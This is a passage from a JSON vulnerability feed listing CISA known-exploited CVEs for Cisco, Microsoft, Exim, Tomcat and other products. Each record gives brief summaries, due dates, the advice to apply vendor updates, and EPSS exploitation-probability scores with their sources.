instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04935,"percentile":0.92079,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0179","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0179 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0180","cveId":"CVE-2018-0180","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software Denial-of-Service Vulnerability","summary":"A vulnerability in the Login Enhancements (Login Block) feature of Cisco IOS Software could allow an unauthenticated, remote attacker to trigger a reload of an affected system, resulting in a denial of service (DoS) condition.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS Software","stacks":["Cisco","IOS Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04935,"percentile":0.92079,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0180&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0180","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0180 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0180&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0180, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8298","cveId":"CVE-2018-8298","aliases":[],"kind":"vulnerability","title":"ChakraCore Scripting Engine Type Confusion Vulnerability","summary":"The ChakraCore scripting engine contains a type confusion vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"ChakraCore","product":"ChakraCore scripting engine","stacks":["ChakraCore","ChakraCore scripting engine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74694,"percentile":0.99499,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8298","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8298 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8581","cveId":"CVE-2018-8581","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists in Microsoft Exchange Server. An attacker who successfully exploited this vulnerability could attempt to impersonate any other user of the Exchange server.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.27355,"percentile":0.98047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8581&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8581","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8581 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8581&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8581, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1297","cveId":"CVE-2019-1297","aliases":[],"kind":"vulnerability","title":"Microsoft Excel Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in Microsoft Excel when the software fails to properly handle objects in memory.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Excel","stacks":["Microsoft Office","Microsoft","Excel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21805,"percentile":0.97622,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1297&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1297","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1297 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1297&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1297, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1652","cveId":"CVE-2019-1652","aliases":[],"kind":"vulnerability","title":"Cisco Small Business Routers Improper Input Validation Vulnerability","summary":"A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers","stacks":["Cisco","Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95923,"percentile":0.99873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1652&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1652","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1652 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1652&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1652, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-16928","cveId":"CVE-2019-16928","aliases":[],"kind":"vulnerability","title":"Exim Out-of-bounds Write Vulnerability","summary":"Exim contains an out-of-bounds write vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Exim","product":"Exim Internet Mailer","stacks":["Exim","Exim Internet Mailer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41638,"percentile":0.98673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-16928&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-16928","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-16928 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16928&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-16928, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-11899","cveId":"CVE-2020-11899","aliases":[],"kind":"vulnerability","title":"Treck TCP/IP stack Out-of-Bounds Read Vulnerability","summary":"The Treck TCP/IP stack contains an IPv6 out-of-bounds read vulnerability.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Treck TCP/IP stack","product":"IPv6","stacks":["Treck TCP/IP stack","IPv6"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1842,"percentile":0.97213,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-11899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-11899","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-11899 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-11899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-11899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1938","cveId":"CVE-2020-1938","aliases":[],"kind":"vulnerability","title":"Apache Tomcat Improper Privilege Management Vulnerability","summary":"Apache Tomcat treats Apache JServ Protocol (AJP) connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Tomcat","stacks":["Apache Tomcat","Apache","Tomcat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9927,"percentile":0.99936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1938&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1938","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1938 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1938&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1938, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-41379","cveId":"CVE-2021-41379","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Installer Privilege Escalation Vulnerability","summary":"Microsoft Windows Installer contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.19452,"percentile":0.97349,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-41379&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-41379","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-41379 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-41379&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-41379, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-20699","cveId":"CVE-2022-20699","aliases":[],"kind":"vulnerability","title":"Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability","summary":"A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Small Business RV160, RV260, RV340, and RV345 Series Routers","stacks":["Cisco","Small Business RV160, RV260, RV340, and RV345 Series Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.72458,"percentile":0.99435,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-20699&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-20699","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-20699 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-20699&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-20699, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-20700","cveId":"CVE-2022-20700","aliases":[],"kind":"vulnerability","title":"Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability","summary":"A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Small Business RV160, RV260, RV340, and RV345 Series Routers","stacks":["Cisco","Small Business RV160, RV260, RV340, and RV345 Series Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05655,"percentile":0.92914,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-20700&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-20700","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-20700 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-20700&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-20700, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-20701","cveId":"CVE-2022-20701","aliases":[],"kind":"vulnerability","title":"Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability","summary":"A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Small Business RV160, RV260, RV340, and RV345 Series Routers","stacks":["Cisco","Small Business RV160, RV260, RV340, and RV345 Series Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09747,"percentile":0.95489,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-20701&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-20701","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-20701 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-20701&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-20701, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-20703","cveId":"CVE-2022-20703","aliases":[],"kind":"vulnerability","title":"Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability","summary":"A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Small Business RV160, RV260, RV340, and RV345 Series Routers","stacks":["Cisco","Small Business RV160, RV260, RV340, and RV345 Series Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09203,"percentile":0.953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-20703&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-20703","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-20703 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-20703&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-20703, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-20708","cveId":"CVE-2022-20708","aliases":[],"kind":"vulnerability","title":"Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability","summary":"A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Small Business RV160, RV260, RV340, and RV345 Series Routers","stacks":["Cisco","Small Business RV160, RV260, RV340, and RV345 Series Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14863,"percentile":0.96671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-20708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-20708","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-20708 catalog entry establishes 